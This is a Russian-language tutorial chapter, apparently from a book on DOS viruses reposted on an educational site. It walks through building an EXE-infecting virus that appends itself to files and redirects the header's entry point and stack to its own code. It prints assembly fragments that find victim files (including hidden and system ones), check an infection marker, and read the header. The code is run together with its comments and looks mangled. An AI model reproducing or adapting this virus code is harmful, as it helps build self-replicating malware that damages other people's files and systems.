Как вирус может заразить EXE - файл 


Мы поможем в написании ваших работ!



ЗНАЕТЕ ЛИ ВЫ?

Как вирус может заразить EXE - файл



Как и при заражении COM - программ, при заражении EXE-файлов вирусный код может записываться в конец, начало или в середину файла.Запись в конец файла, как и в предыдущем случае,реализуется наиболее просто,и кроме того,предохраняет от многих трудностей при отладке. Поэтому мы создадим вирус, работающий имено по такому принципу. Для того,чтобы при старте зараженной программы код вируса получил управление, следует соответствующим образом модифицировать заголовок EXE - файла. Для этого исходные значения CS0 и IP0 заменяются на точку входа в вирусный код, а значения SS0 и SP0 "переключаются" на собственный стек вируса. Кроме того, поскольку при заражении изменяются длина загрузочного модуля и длина файла, необходимо скорректировать поля заголовка по смещению 02h, 03h, а также 04h, 05h. Вот и все. Может показаться, что создать вирус,заражающий EXE-файлы, намного сложнее, чем COM - вирус. Однако это не так. Прочтите эту главу, и вы убедитесь в этом!

Работа вируса в зараженной программе

Рассмотрим теперь действия вируса при получении им управления. Итак, вирус функционирует по такому алгоритму:

  1. Ищет на диске подходящий EXE-файл.
  2. Записывает свое тело в конец этого файла.
  3. Корректирует заголовок заражаемой программы следующим образом:
    1. Вместо исходных CS0 и IP0 заражаемой программы записываются значения, обеспечивающие передачу управления вирусному коду при запуске программы.
    2. Исходные SS0 и SP0 заменяются на значения, обеспечивающие переключение на собственный стек вируса.
    3. Корректируется остаток от деления размера загрузочного модуля на 512.
    4. Поскольку при заражении длина файла увеличивается, корректируется размер файла в страницах (одна страница равна 512 байт).

Естественно, перед корректировкой вирус обязан сохранить исходные параметры заголовка -ведь они потребуются при передаче управления вирусному коду. После коррекции заголовок записывается на диск.

  1. Выполняет вредные действия, предусмотренные автором.
  2. Определяет значения CS, IP, SS и SP,необходимые для правильной работы программы,из которой стартовал вирус.
  3. Передает управление зараженной программе. Для этого вирус использует команду безусловного дальнего перехода.Адрес перехода задается вычисленными CS и IP. После этого начинается обычное выполнение программы.

Начало работы

Как и COM - вирус, EXE - вирус лучше разрабатывать в формате COM. Это убережет нас от многих ненужных трудностей. Поэтому напишем стандартное начало COM программы:

prg segment assume cs:prg,ds:prg,es:prg,ss:prg org 100h

Как вы помните, директива "assume cs:prg,ds:prg,es:prg,ss:prg" назначает сегментные регистры сегменту с именем PRG, а директива "org 100h" резервирует место для PSP вирусной программы.

Вирус получает управление

В отличие от COM - вируса,наша запускающая программа после запуска не будет заменять в памяти свои первые три байта командой перехода на функцию DOS завершения программы. По этой причине можно не бояться, что в заражаемый файл попадет испорченный вирусный код (см. п. 1.17 предыдущей части). Отсюда следует, что директива " org 110h" нам не потребуется. Значит,можно сразу переходить "к делу":

vir: mov ax,cs;AX = CS... db 2dh;SUB AX,00h sub_ds dw 0; mov ds,ax; mov ss,ax; mov ah,1ah;Переключим DTA lea dx,new_dta;на соответству-;ющий массив в int 21h;области данных;вируса...

При компиляции относительные адреса всех ячеек памяти определяются относительно DS, который указывает на начало PSP. Но в зараженной программе при передаче управления на код вируса регистр CS будет указывать на параграф, с которого начинается этот код, а не на начало PSP, а регистр DS вообще окажется настроенным на начальный сегмент программы! Единственный способ получить доступ к данным вируса заключается в установке DS = CS.А с учетом размера PSP в 10h параграфов значение DS следует уменьшить как раз на эту величину. При заражении того или иного файла поле " sub_ds " для него будет заполняться значением 10h. Поскольку запускающая программа имеет COM-формат, для нее CS = DS = SS = ES, и все они указывают на начало PSP. Поэтому значение DS корректировать не нужно, и в поле "sub_ds" запускающей программы помещается ноль. Дальше вирус переключает DTA на массив "new_dta", расположенный в области данных вируса. Поскольку начальный сегмент программы станет известным при ее запуске,можно будет без особого труда восстановить адрес исходной DTA.

Ищем подходящий файл

Теперь наш вирус может заняться поиском файла-жертвы. Как мы договорились, вирус будет заражать EXE-файлы, значит, такой файл и нужно найти. Но поскольку фрагмент, который производит поиск файлов с тем или иным расширением уже был создан, остается только воспользоваться им, внеся некоторые изменения:

mov ax,old_ip;Скопируем исхо- mov my_ip,ax;дные параметры mov ax,old_cs;заголовка зара- mov my_cs,ax;женной програм- mov ax,to_16h;мы в ячейки па- mov my_16h,ax;мяти " my_XX ", mov ax,old_ss;так как ячейки mov my_ss,ax;" old_XX ", в mov ax,old_sp;которых хранят- mov my_sp,ax;ся параметры,;будут испорчены;при заражении;нового файла find_first:mov ah,4eh;Поиск первого mov cx,00100110b;файла: lea dx,maska;archive, system int 21h;hidden... jnc r_3 jmp restore_dta find_next: mov ah,3eh;Закроем непод- mov bx,descrypt;ходящий файл int 21h jnc r_2 jmp restore_dta r_2: mov ah,4fh;Поиск следующе- int 21h;го... jnc r_3 jmp restore_dta r_3: mov cx,12;Очистим об- lea si,fn;ласть " fn " kill_name: mov byte ptr [si],0 inc si loop kill_name xor si,si;И перепишем copy_name: mov al,byte ptr new_dta[si + 01eh] cmp al,0;туда имя най- je open_file;денного файла mov byte ptr fn[si],al inc si jmp copy_name open_file: mov ax,3d02h;Откроем файл lea dx,fn;для чтения и int 21h;записи... jnc found_size jmp r_2 found_size:mov descrypt,ax;Определим раз- mov cx,word ptr [new_dta + 01ch] mov dx,word ptr [new_dta + 01ah] sub dx,1;мер файла и вы- sbb cx,0;чтем из него;единицу... call setpointer;Установим ука-;затель на пос-;ледний символ read_last: mov cx,1;Прочитаем lea dx,last;последний call read;символ... jnc compar jmp close_file compar: cmp last,'7';Это "семерка"? jne mmm;Нет to_next: jmp find_next;Да! Файл уже;заражен, и надо;искать другой

Вы, вероятно, уже поняли,что каждая новая программа оставляется нами из ранее разработанных блоков, как из конструктора.Это сильно упрощает работу и сокращает время на составление программ. Было бы странно не воспользоваться готовыми фрагментами и заново преодолевать все трудности! Вместе с тем, использованный фрагмент пришлось несколько модифицировать,чтобы он смог правильно работать в новой программе. Первое внесенное изменение состоит в дублировании исходных значений заголовка программы, из которой стартовал вирус. В комментариях рассказано, зачем это потребовалось. Следующее изменение вызвано тем, что EXE - файл может быть длиннее 64 Кбайт.Поэтому для установки указателя на последний байт файла недостаточно просто вычесть единицу из его размера. Например,пусть длина файла равна 10000h байт. В этом случае из DTA будут считаны такие числа:CX = 0001h и DX = 0000h (см. выше). Теперь для обращения к последнему элементу файла из пары CX: DX следует вычесть "1". Если просто вычесть единицу из DX, то мы получим следующее:CX = 0001h, DX = 0FFFFh, то есть полностью абсурдное значение. Чтобы такого не происходило, нужно применить команду " вычитание с заемом ", которая будет отнимать от CX значение флага переноса CF - " ноль " или " один ". И последнее - вместо непосредственной установки указателя мы будем просто вызывать процедуру "setpointer ", текст которой несложен и рассматривается в конце главы.

Читаем заголовок файла

Наш EXE-вирус должен получать управление при старте зараженного файла. С этой целью он может модифицировать заголовок файла,как показано в п. 1.4. Проще всего будет считать заголовок найденной EXE-программы с диска, после чего сделать необходимые изменения и записать его обратно на диск.А так как предыдущий фрагмент вирусной программы уже нашел подходящий EXE - файл, самое время прочитать его заголовок:

mmm: xor cx,cx;Установим ука- xor dx,dx;затель на нача- call setpointer;ло файла... mov ah,3fh;И считаем инте- mov bx,descrypt;ресующую нас mov cx,27;часть заголовка;в массив " hea-;der ". Она как lea dx,header;раз занимает 27 int 21h;байт... jnc next_step; jmp restore_dta;Ошибка чтения!

Работа фрагмента довольно проста и пояснений не требует.



Поделиться:


Последнее изменение этой страницы: 2016-07-16; просмотров: 538; Нарушение авторского права страницы; Мы поможем в написании вашей работы!

infopedia.su Все материалы представленные на сайте исключительно с целью ознакомления читателями и не преследуют коммерческих целей или нарушение авторских прав. Обратная связь - 3.15.143.181 (0.006 с.)